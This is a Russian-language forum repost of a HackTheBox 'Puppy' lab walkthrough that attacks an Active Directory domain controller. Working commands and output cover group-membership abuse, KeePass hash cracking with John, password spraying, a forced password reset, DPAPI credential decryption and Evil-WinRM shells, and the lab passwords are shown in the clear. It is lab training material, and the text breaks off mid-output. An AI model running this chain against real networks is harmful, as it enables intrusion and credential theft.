симуляция аудита безопасности Windows Active Directory

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$
(Puppy) — машина с площадки HTB для симуляция аудита безопасности Windows Active Directory. Начнем с имеющихся учётных данных сотрудника отдела кадров (HR), который стал жертвой фишинга. Этот пользователь имеет права на изменение состава группы «разработчиков», что позволяет добавить туда собственную учётную запись и получить доступ к сетевым ресурсам (SMB-шарам), где хранится база паролей KeePassXC. После расшифровки секрета с помощью John, пройдем аутентификацию от имени второго пользователя, который состоит в группе старших разработчиков, участники которой имеют право GenericAll над новым пользователем. Поменяем пароль этого пользователя и подключимся через WinRM. На хосте найдем резервную копию сайта, а в ней пароль от последней УЗ. Подключение через WinRM под новым пользователем даст доступ к DPAPI-хранилищу, что в конечном итоге приведет нас к флагу администра.

ce13b8496305d6478a94d414351ec4b2.png

Разведка: Первичное сканирование​

Программа nmap выявила ряд открытых TCP-портов:

1f60fc55cfe2a4c36bb24b81a7080e3e.png
f46cc75799ce197a9d27ac391a4d0dc1.png

Видим множество портов, характерных для контроллера домена Windows.

Для генерации файла хостов (hosts) воспользуемся инструментом netexec, затем внесем изменения в /etc/hosts:

netexec smb 10.10.11.70 --generate-hosts-file puppy.hosts

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

oxdf@hacky$ cat puppy.hosts /etc/hosts | sponge /etc/hosts

Проверим учетные данные:​

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!

Учётные данные также подходят для протокола LDAP, однако не позволяют установить сеанс WinRM (что вполне ожидаемо):

oxdf@hacky$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'

LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)

LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!

oxdf@hacky$ netexec winrm puppy.htb -u levi.james -p 'KingofAkron2025!'

WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)

WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\levi.james:KingofAkron2025!

SMB - TCP 445​

Помимо стандартных общих ресурсов контроллера домена, существует общая папка под названием DEV:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!

SMB 10.10.11.70 445 DC [*] Enumerated shares

SMB 10.10.11.70 445 DC Share Permissions Remark

SMB 10.10.11.70 445 DC ----- ----------- ------

SMB 10.10.11.70 445 DC ADMIN$ Remote Admin

SMB 10.10.11.70 445 DC C$ Default share

SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS

SMB 10.10.11.70 445 DC IPC$ READ Remote IPC

SMB 10.10.11.70 445 DC NETLOGON READ Logon server share

SMB 10.10.11.70 445 DC SYSVOL READ Logon server share

Можно попытаться подключиться, но прочитать содержимое пока невозможно:

oxdf@hacky$ smbclient //puppy.htb/dev -U 'levi.james%KingofAkron2025!'

Try "help" to get a list of possible commands.

smb: \> ls

NT_STATUS_ACCESS_DENIED listing \*

Комментарий гласит: «DEV-SHARE для пользователей PUPPY-DEVS».

Всего на хосте девять пользователей:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!

SMB 10.10.11.70 445 DC -Username- -Last PW Set- -BadPW- -Description-

SMB 10.10.11.70 445 DC Administrator 2025-02-19 19:33:28 0 Built-in account for administering the computer/domain

SMB 10.10.11.70 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain

SMB 10.10.11.70 445 DC krbtgt 2025-02-19 11:46:15 0 Key Distribution Center Service Account

SMB 10.10.11.70 445 DC levi.james 2025-02-19 12:10:56 0

SMB 10.10.11.70 445 DC ant.edwards 2025-02-19 12:13:14 0

SMB 10.10.11.70 445 DC adam.silver 2025-05-21 21:19:29 0

SMB 10.10.11.70 445 DC jamie.williams 2025-02-19 12:17:26 0

SMB 10.10.11.70 445 DC steph.cooper 2025-02-19 12:21:00 0

SMB 10.10.11.70 445 DC steph.cooper_adm 2025-03-08 15:50:40 0

SMB 10.10.11.70 445 DC [*] Enumerated 9 local users: PUPPY

Тут нет ничего необычного, едем дальше.

Воспользуемся инструментом BloodHound.py для сбора данных и анализа:​

oxdf@hacky$ sudo ntpdate puppy.htb

2025-05-21 21:27:55.583922 (+0000) +31038.243275 +/- 0.047243 puppy.htb 10.10.11.70 s1 no-leap

CLOCK: time stepped by 31038.243275

oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip

INFO: BloodHound.py for BloodHound Community Edition

INFO: Found AD domain: puppy.htb

INFO: Getting TGT for user

INFO: Connecting to LDAP server: dc.puppy.htb

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: dc.puppy.htb

INFO: Found 10 users

INFO: Found 56 groups

INFO: Found 3 gpos

INFO: Found 3 ous

INFO: Found 19 containers

INFO: Found 0 trusts

INFO: Starting computer enumeration with 10 workers

INFO: Querying computer: DC.PUPPY.HTB

INFO: Done in 00M 17S

INFO: Compressing output into 20250521213138_bloodhound.zip

Получившийся ZIP-файл загружаем в BloodHound-CE и отмечаем пользователя levi.james как захваченного. Анализ показывает, что принадлежность к группе HR предоставляет ему права GenericWrite над группой Developers:

cdd01370e14220a01dbfc111b5b7616d.png

Сейчас группа содержит трёх участников:

9e36009f82f879b54adfd839285830fc.png

Авторизация от имени Ant.Edwards​

Доступ к общему ресурсу DEV​

Bloodhound говорит, что у нас нет очевидного пути от группы Разработчиков (Developers). Однако, учитывая комментарий к общему ресурсу, логично попробовать добавить пользователя levi.james в группу Developers, а затем снова проверить права доступа к общему каталогу DEV.

Есть много способов сделать это. Воспользуюсь инструментом net (ставится командой apt install samba):

oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb

oxdf@hacky$ net rpc group members developers -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb

PUPPY\levi.james

PUPPY\ant.edwards

PUPPY\adam.silver

PUPPY\jamie.williams

Теперь netexec показывает, что у пользователя levi.james есть права на чтение (READ):

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!

SMB 10.10.11.70 445 DC [*] Enumerated shares

SMB 10.10.11.70 445 DC Share Permissions Remark

SMB 10.10.11.70 445 DC ----- ----------- ------

SMB 10.10.11.70 445 DC ADMIN$ Remote Admin

SMB 10.10.11.70 445 DC C$ Default share

SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS

SMB 10.10.11.70 445 DC IPC$ READ Remote IPC

SMB 10.10.11.70 445 DC NETLOGON READ Logon server share

SMB 10.10.11.70 445 DC SYSVOL READ Logon server share

И я могу изучить содержимое:

oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'

Try "help" to get a list of possible commands.

smb: \> ls

. DR 0 Sun Mar 23 07:07:57 2025

.. D 0 Sat Mar 8 16:52:57 2025

KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025

Projects D 0 Sat Mar 8 16:53:36 2025

recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025

5080575 blocks of size 4096. 1538336 blocks available

Каталог Projects пуст. По установочному пакету можно выяснить версию используемого KeePassXC. Скачиваем базу данных:

smb: \> get recovery.kdbx

getting file \recovery.kdbx of size 2677 as recovery.kdbx (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)

Чтобы получить доступ к базе данных KeePassXC, требуется мастер-пароль. Я попробовал запустить команду keepass2john для генерации хеша, но попытка завершилась неудачей:

oxdf@hacky$ keepass2john recovery.kdbx

! recovery.kdbx : File version '40000' is currently not supported!

В поисках решения проблемы я наткнулся на https://github.com/patecm/cracking_keepass/issues/2:

52025d92647c17f6f5ae7e95ab197216.png

Установка JohnTheRipper через пакетный менеджер Snap автоматически обновляет версию:

oxdf@hacky$ sudo snap install john-the-ripper

john-the-ripper v1.9.1-ce from Claudio André (claudioandre-br) installed

Теперь я смог получить хеш:

oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash

recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9

Crack​

Так как hashcat пока не поддерживает этот формат хеширования, я снова воспользовался JohnTheRipper:

oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt

KeePass-opencl: Argon2 hash(es) not supported, skipping.

Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"

Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])

Cost 1 (t (rounds)) is 37 for all loaded hashes

Cost 2 (m) is 65536 for all loaded hashes

Cost 3 (p) is 4 for all loaded hashes

Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes

Will run 12 OpenMP threads

Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

liverpool (recovery)

1g 0:00:00:11 DONE (2025-05-21 23:00) 0.08857g/s 3.189p/s 3.189c/s 3.189C/s tigger..liverpool

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

Пароль был "liverpool".

Dump Passwords​

Установим KeePassXC (sudo snap install keepassxc). Эта версия содержит консольный интерфейс keepassxc.cli, который может экспортировать содержимое базы данных:

oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx

Enter password to unlock recovery.kdbx:

"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"

"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"

"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"

"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"

"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"

"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"

Password Spray​

Я составил список всех пользователей и запустил password spraying с добытыми паролями.

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users | grep -vF -e '[' -e '-Username-' | awk '{print $5}' | tee users.txt

Administrator

Guest

krbtgt

levi.james

ant.edwards

adam.silver

jamie.williams

steph.cooper

steph.cooper_adm

oxdf@hacky$ echo 'liverpool' | keepassxc.cli export --format csv recovery.kdbx | cut -d'"' -f8 | tee passwords.txt

Enter password to unlock recovery.kdbx:

Password

JamieLove2025!

HJKL2025!

Antman2025!

Steve2025!

ILY2025!

Используйте netexec для перебора паролей и grep для фильтрации успешных попыток:

oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!

Подошел для SMB, но не для WinRM:

oxdf@hacky$ netexec smb puppy.htb -u ant.edwards -p 'Antman2025!'

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!

oxdf@hacky$ netexec winrm puppy.htb -u ant.edwards -p 'Antman2025!'

WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)

WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\ant.edwards:Antman2025!

Shell от Adam.Silver. Enumeration​

Ant.Edwards является членом группы «Senior Devs», что даёт ему полный контроль (GenericAll) над учётной записью Adam.Silver:

bead8bc4db5590eb6f272c7f15523aaf.png

Мы можем выполнить Kerberoasting, изменить пароль пользователя или добавить shadow credential.

Изменение пароля​

Reset​

Сначала попробую сменить пароль пользователя Adam.Silver с помощью команды net, следуя инструкциям из Bloodhound:

ef8d49d2fb634451d3e25855a371c5b4.png



oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb

Ничего не вышло…

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:0xdf0xdf. STATUS_ACCOUNT_DISABLED

Аккаунт отключён:

70ebed3a0e26f79c7c050f2a37bbd90f.png

Enable​

Активируем учётную запись с помощью утилиты BloodyAD:

oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

Теперь все готово:

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:0xdf0xdf.

WinRM​

Пользователь Adam.Silver имеет доступ через WinRM:

86ad679c0a986be2e096365d5f3485a5.png

Подключаемся с помощью утилиты evil-winrm-py:

oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..



Evil-WinRM shell v3.7



Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\adam.silver\Documents>

И получаем флаг пользователя.

Evil-WinRM PS C:\Users\adam.silver\desktop> cat user.txt

790a0fd5************************

Shell от Steph.Cooper. Enumeration​

Домашний каталог пользователя adam.silver абсолютно пустой (кроме флага):

Evil-WinRM PS C:\Users\adam.silver> tree /f

Folder PATH listing

Volume serial number is 311D-593C

C:.

+---3D Objects

+---Contacts

+---Desktop

¦ Microsoft Edge.lnk

¦ user.txt

¦

+---Documents

+---Downloads

+---Favorites

¦ ¦ Bing.url

¦ ¦

¦ +---Links

+---Links

¦ Desktop.lnk

¦ Downloads.lnk

¦

+---Music

+---Pictures

+---Saved Games

+---Searches

+---Videos

Корень диска C:\ содержит необычный каталог Backups:

Evil-WinRM PS C:\> ls

Directory: C:\

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 5/9/2025 10:48 AM Backups

d----- 5/12/2025 5:21 PM inetpub

d----- 5/8/2021 1:20 AM PerfLogs

d-r--- 4/4/2025 3:40 PM Program Files

d----- 5/8/2021 2:40 AM Program Files (x86)

d----- 3/8/2025 9:00 AM StorageReports

d-r--- 3/8/2025 8:52 AM Users

d----- 5/13/2025 4:40 PM Windows

Скачаем его:

Evil-WinRM PS C:\Backups> download site-backup-2024-12-30.zip



Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip



Info: Download successful!

Site Backup​

Архив содержит резервную копию веб-сайта, который отсутствует на целевой машине:

oxdf@hacky$ unzip -l site-backup-2024-12-30.zip

Archive: site-backup-2024-12-30.zip

Length Date Time Name

--------- ---------- ----- ----

0 1980-00-00 00:00 puppy/

864 1980-00-00 00:00 puppy/nms-auth-config.xml.bak

0 1980-00-00 00:00 puppy/images/

98560 1980-00-00 00:00 puppy/images/banner.jpg

650325 1980-00-00 00:00 puppy/images/jamie.jpg

692101 1980-00-00 00:00 puppy/images/antony.jpg

1175364 1980-00-00 00:00 puppy/images/adam.jpg

810357 1980-00-00 00:00 puppy/images/Levi.jpg

0 1980-00-00 00:00 puppy/assets/

0 1980-00-00 00:00 puppy/assets/js/

831 1980-00-00 00:00 puppy/assets/js/jquery.scrolly.min.js

12433 1980-00-00 00:00 puppy/assets/js/util.js

2439 1980-00-00 00:00 puppy/assets/js/breakpoints.min.js

89501 1980-00-00 00:00 puppy/assets/js/jquery.min.js

1499 1980-00-00 00:00 puppy/assets/js/main.js

5106 1980-00-00 00:00 puppy/assets/js/jquery.dropotron.min.js

2051 1980-00-00 00:00 puppy/assets/js/browser.min.js

0 1980-00-00 00:00 puppy/assets/webfonts/

34034 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.eot

918991 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.svg

202744 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.ttf

78268 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff2

747927 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.svg

101648 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff

203030 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.eot

33736 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.ttf

13224 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff2

144714 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.svg

134294 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.eot

89988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff

133988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.ttf

76736 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff2

16276 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff

0 1980-00-00 00:00 puppy/assets/css/

50255 1980-00-00 00:00 puppy/assets/css/main.css

0 1980-00-00 00:00 puppy/assets/css/images/

108 1980-00-00 00:00 puppy/assets/css/images/overlay.png

2819 1980-00-00 00:00 puppy/assets/css/images/highlight.png

59401 1980-00-00 00:00 puppy/assets/css/fontawesome-all.min.css

0 1980-00-00 00:00 puppy/assets/sass/

25026 1980-00-00 00:00 puppy/assets/sass/main.scss

0 1980-00-00 00:00 puppy/assets/sass/libs/

7355 1980-00-00 00:00 puppy/assets/sass/libs/_vendor.scss

1957 1980-00-00 00:00 puppy/assets/sass/libs/_functions.scss

2840 1980-00-00 00:00 puppy/assets/sass/libs/_html-grid.scss

210 1980-00-00 00:00 puppy/assets/sass/libs/_vars.scss

4577 1980-00-00 00:00 puppy/assets/sass/libs/_breakpoints.scss

2218 1980-00-00 00:00 puppy/assets/sass/libs/_mixins.scss

7258 1980-00-00 00:00 puppy/index.html

--------- -------

6635053 49 files

Большая часть архива — статический веб-контент, но есть и конфигурационный файл nms-auth-config.xml.bak:

oxdf@hacky$ unzip site-backup-2024-12-30.zip puppy/nms-auth-config.xml.bak

Archive: site-backup-2024-12-30.zip

inflating: puppy/nms-auth-config.xml.bak

oxdf@hacky$ cat puppy/nms-auth-config.xml.bak

<?xml version="1.0" encoding="UTF-8"?>

<ldap-config>

<server>

<host>DC.PUPPY.HTB</host>

<port>389</port>

<base-dn>dc=PUPPY,dc=HTB</base-dn>

<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>

<bind-password>ChefSteph2025!</bind-password>

</server>

<user-attributes>

<attribute name="username" ldap-attribute="uid" />

<attribute name="firstName" ldap-attribute="givenName" />

<attribute name="lastName" ldap-attribute="sn" />

<attribute name="email" ldap-attribute="mail" />

</user-attributes>

<group-attributes>

<attribute name="groupName" ldap-attribute="cn" />

<attribute name="groupMember" ldap-attribute="member" />

</group-attributes>

<search-filter>

<filter>(&(objectClass=person)(uid=%s))</filter>

</search-filter>

</ldap-config>

Здесь содержится пароль для пользователя Steph.Cooper: "ChefSteph2025!".

WinRM​

Этот пароль подходит как для SMB, так и для подключения через WinRM:

oxdf@hacky$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'

SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)

SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

oxdf@hacky$ netexec winrm puppy.htb -u steph.cooper -p 'ChefSteph2025!'

WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)

WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

Получаем shell:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'



Evil-WinRM shell v3.7



Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\steph.cooper\Documents>

Shell от имени steph.cooper_adm​

Enumeration​

У пользователя Steph.Cooper есть сохранённая учётная запись в Windows Credential Manager:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force

Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Мастер-ключ тоже находится в соответствующем месте:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force

Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407

-a-hs- 2/23/2025 2:36 PM 24 Preferred

DPAPI​

По какой-то причине Evil-WinRM вылетает при попытке загрузить эти файлы:

Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9



Info: Downloading C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9



Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

Закодируем их в Base64:

Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))

AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))

AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

Для каждого из трех файлов сделаем следующее: вставляем Base64, декодируем и сохраняем в отдельный файл.

Теперь можно расшифровать мастер-ключ с помощью библиотеки dpapi:

oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]

Version : 2 (2)

Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407

Flags : 0 (0)

Policy : 4ccf1275 (1288639093)

MasterKeyLen: 00000088 (136)

BackupKeyLen: 00000068 (104)

CredHistLen : 00000000 (0)

DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)

Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

И, наконец, расшифровываем с помощью ключа:

oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]

LastWritten : 2025-03-08 15:54:29

Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)

Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)

Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)

Target : Domain:target=PUPPY.HTB

Description :

Unknown :

Username : steph.cooper_adm

Unknown : FivethChipOnItsWay2025!

WinRM​

Получаем shell с помощью Evil-WinRM:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'



Evil-WinRM shell v3.7



Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\steph.cooper_adm\Documents>

Данный пользователь входит в группу Администраторов:

Evil-WinRM PS C:\Users\steph.cooper_adm\Documents> whoami /groups

GROUP INFORMATION

-----------------

Group Name Type SID Attributes

========================================== ================ ============ ===============================================================

Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group

